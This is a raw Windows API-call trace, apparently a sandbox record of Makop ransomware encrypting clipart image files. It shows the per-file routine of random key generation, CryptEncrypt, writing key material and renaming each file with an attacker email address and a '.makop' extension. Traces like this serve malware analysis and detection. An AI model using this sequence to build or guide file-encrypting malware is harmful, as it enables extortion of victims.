SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.680] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.680] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.680] GetProcessHeap () returned 0x48a0000 [0145.680] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.680] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.680] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.680] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.684] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.684] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.684] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.685] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.685] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.685] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.685] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.686] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.686] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7ce0, lpOverlapped=0x0) returned 1 [0145.688] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0) returned 1 [0145.688] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.688] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7ce0, lpOverlapped=0x0) returned 1 [0145.689] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.689] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.689] SetEndOfFile (hFile=0xf0) returned 1 [0145.696] GetProcessHeap () returned 0x48a0000 [0145.696] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.696] GetProcessHeap () returned 0x48a0000 [0145.696] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.696] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.696] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.698] CloseHandle (hObject=0xf0) returned 1 [0145.698] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35a3dc00, ftCreationTime.dwHighDateTime=0x1bd4e60, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35a3dc00, ftLastWriteTime.dwHighDateTime=0x1bd4e60, nFileSizeHigh=0x0, nFileSizeLow=0x9abe, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01931J.JPG", cAlternateFileName="")) returned 1 [0145.698] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG") returned 63 [0145.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.700] GetProcessHeap () returned 0x48a0000 [0145.700] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.700] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.700] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.700] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0145.715] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.715] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.715] GetProcessHeap () returned 0x48a0000 [0145.715] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.715] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.715] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.715] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.715] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.716] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.716] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.716] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.716] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.717] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.717] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.717] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.717] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9abe, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9abe, lpOverlapped=0x0) returned 1 [0145.720] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9ac0, dwBufLen=0x9ac0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9ac0) returned 1 [0145.720] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.720] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9ac0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9ac0, lpOverlapped=0x0) returned 1 [0145.721] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.721] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9b94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.721] SetEndOfFile (hFile=0xf0) returned 1 [0145.728] GetProcessHeap () returned 0x48a0000 [0145.728] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.728] GetProcessHeap () returned 0x48a0000 [0145.728] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.728] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.729] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.730] CloseHandle (hObject=0xf0) returned 1 [0145.731] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x451e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02028K.JPG", cAlternateFileName="")) returned 1 [0145.732] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG") returned 63 [0145.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.734] GetProcessHeap () returned 0x48a0000 [0145.734] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.734] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.734] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.734] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0145.738] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.738] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.738] GetProcessHeap () returned 0x48a0000 [0145.738] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.738] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.738] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.739] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.739] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.739] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.739] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.739] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.739] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.740] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.740] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.740] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.740] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x451e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x451e, lpOverlapped=0x0) returned 1 [0145.742] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4520, dwBufLen=0x4520 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4520) returned 1 [0145.742] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.742] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4520, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4520, lpOverlapped=0x0) returned 1 [0145.742] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.742] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x45f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.742] SetEndOfFile (hFile=0xf0) returned 1 [0145.757] GetProcessHeap () returned 0x48a0000 [0145.757] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.757] GetProcessHeap () returned 0x48a0000 [0145.757] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.757] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.757] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.760] CloseHandle (hObject=0xf0) returned 1 [0145.760] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a415a00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a415a00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02039U.BMP", cAlternateFileName="")) returned 1 [0145.760] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP") returned 63 [0145.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.761] GetProcessHeap () returned 0x48a0000 [0145.762] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.762] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.762] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.762] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.762] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.762] GetProcessHeap () returned 0x48a0000 [0145.762] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.763] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.763] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.763] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.771] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.771] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.771] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.772] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.772] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.772] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.772] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.772] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.772] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7ce0, lpOverlapped=0x0) returned 1 [0145.775] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0) returned 1 [0145.776] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.776] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7ce0, lpOverlapped=0x0) returned 1 [0145.776] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.777] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.777] SetEndOfFile (hFile=0xf0) returned 1 [0145.785] GetProcessHeap () returned 0x48a0000 [0145.785] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.785] GetProcessHeap () returned 0x48a0000 [0145.785] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.785] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.786] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.787] CloseHandle (hObject=0xf0) returned 1 [0145.787] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x857ca600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x857ca600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02040U.BMP", cAlternateFileName="")) returned 1 [0145.788] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP") returned 63 [0145.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.789] 